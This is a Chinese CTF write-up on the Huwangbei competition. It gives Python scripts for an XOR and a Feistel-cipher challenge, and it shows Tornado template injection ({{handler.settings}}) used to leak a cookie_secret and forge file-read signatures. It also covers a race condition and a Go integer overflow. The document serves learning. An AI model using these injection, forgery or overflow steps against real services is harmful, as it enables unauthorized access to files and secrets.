护网杯的这次比赛还是很有收获的,至少在web方面我认为是这样的,还是得继续努力吧。。。
AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs=
题目说要异或,那就直接爆破异或就好
写个小脚本就可以得到flag
import base64
a = "AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
a = base64.b64decode(a)
for i in range(128):
s = ''
for j in a:
s = s+chr(i^ord(j))
if 'flag' in s:
print s
这个题目是我队友做的。。。。赛后才学习的,看来密码学以后还得认真上课。。。。
Fez.log给出三条数据,第一条为test,第二条为test与k加密后的数据,第三条为flag与k加密后的数据
fez.py为加密算法,通过分析算法
即a,b每一位进行异或运算
Round函数将M左右部分互换,并对右部分进行异或运算得 R^L^k[i]
Fez函数即将k数组每个元素与m进行round
运算
可得m为字符串分为m[0:27]
,m[27:54]
两部分通过一步一步推算
m: L + R
R + a a: L^R^k0
a + b b: L^k0^k1
b + c c: R^k0^k1
c + d d: L^k0^k2^k3
d + e e: L^k0^k1^k3^k4
e + f f: R^k1^k2^k4^k5
f + g g: L^R^k0^k1^k3^k5^k6
根据异或运算得特性
已知test(也就是L,R),fez(test,k)(也就是f,g),即可通过test与fez(test,k) 进行异或运算可得出 k0^k1^k3^k5^k6
,k1^k2^k4^k5
从而还原flag
import os
import binascii
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
test = '50543fc0bca1bb4f21300f0074990f846a8009febded0b2198324c1b31d2e2563c908dcabbc461f194e70527e03a807e9a478f9a56f7'
test = binascii.a2b_hex(test)
test_k = '66bbd551d9847c1a10755987b43f8b214ee9c6ec2949eef01321b0bc42cffce6bdbd604924e5cbd99b7c56cf461561186921087fa1e9'
test_k = binascii.a2b_hex(test_k)
m_k = '44fc6f82bdd0dff9aca3e0e82cbb9d6683516524c245494b89c272a83d2b88452ec0bfa0a73ffb42e304fe3748896111b9bdf4171903'
m_k = binascii.a2b_hex(m_k)
l = test[0:27]
r = test[27:54]
l1 = test_k[0:27]
r1 = test_k[27:54]
l2 = m_k[0:27]
r2 = m_k[27:54]
c = xor(xor(l,r),r1)
Lr = xor(c,r2)
d = xor(r,l1)
R = xor(d,l2)
L = xor(Lr,R)
m = L+R
print m
这里的web题目是我趁着题目还没关的时候赶紧复现的(不会做后面弄懂也是学习的方法呀23333),感谢一叶飘零学长的帮助哇。。。。
这个题目上来每个选项url就很可疑
http://49.4.95.5:31792/file?filename=Orz.txt&signature=d227ce6c7cea5a9cd7f1721e0baace7d
Orz.txt
render()
http://49.4.95.5:31792/file?filename=hint.txt&signature=c7b8660e245f1360c378db1074a2a4c7
hint.txt
md5(cookie_secret + md5(filename))
http://49.4.95.5:31792/file?filename=flag.txt&signature=d24b2dc1952a495057af1a898c55931b
flag.txt
/fllllllllllag
很明显是去读文件/fllllllllllag
,并且要带上签名,一开始我做这个题的时候还以为强行爆破一波secret。。。还一度认为是Hash长度拓展攻击。。。。尴尬
关键点在于cookie_secret
这个页面过滤了很多东西,并且返回Orz
输入
http://49.4.95.5:31792/error?msg={{1^0}}
这里的话飘零大佬说可以进行模板注入,并且只能读一个变量
接下来的思路才是骚,直接阅读tornado的源码
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py
在handler.settings
里面存在cookie_secret
这东西
读取一下
http://49.4.95.5:31792/error?msg={{handler.settings}}
这里的{{}}
具有渲染模板的功能
Whoops, looks like somethings went wrong .
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': 'B3}r8at^62-?kGW&T+(7P4uQ0UVXDOiFb', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}
可以把里面的内容给读出来,以后还是得对python的MVC架构学习一下才行。。
立即构造签名
echo md5('B3}r8at^62-?kGW&T+(7P4uQ0UVXDOiFb'.md5('/fllllllllllag')) ;
?>
http://49.4.95.5:31792/file?filename=/fllllllllllag&signature=3e9f949b7c37c999287eb096f576be00
这个题目一开始我一直以为是前端的ajax
的操作问题,直到看了飘零大哥的wp才知道有两种思路,一种是条件竞争,但条件竞争好像还是有上限的,开个多线程跑一下,这也是为了后面的怪异的9999999
做铺垫,因为你没有5个以上的大辣条是换不了辣条之王的。
然后就会发现辣条数目几变成7个
下面才是重点,因为这里是用的是Go语言,很可能存在整数溢出,可以参考一下这篇文章
http://www.it1352.com/808569.html
go语言整数溢出为18446744073709551615
,然后可以计算number=(18446744073709551615/5)+1=3689348814741910324
,然后我们可以直接溢出获得flag
下面这篇博客对于溢出过大有更深的理解:
https://qingchenldl.github.io/2018/10/13/护网杯WP-BitPwn/?tdsourcetag=s_pctim_aiomsg
还有一道题目是关于Laravel框架的解题过程,也是秀,知识点也很多,建议去看看一叶飘零学长的博客啦。
这比赛又学到了不少的东西,果然python开发出来的web框架还是自己的弱项,条件竞争这东西看来现在比赛都很流行呢,可惜自己对这方面的做题敏感度不够,以前一直认为这只有安恒的月赛才会出,以后还是得接触pwn了,继续努力。。。。。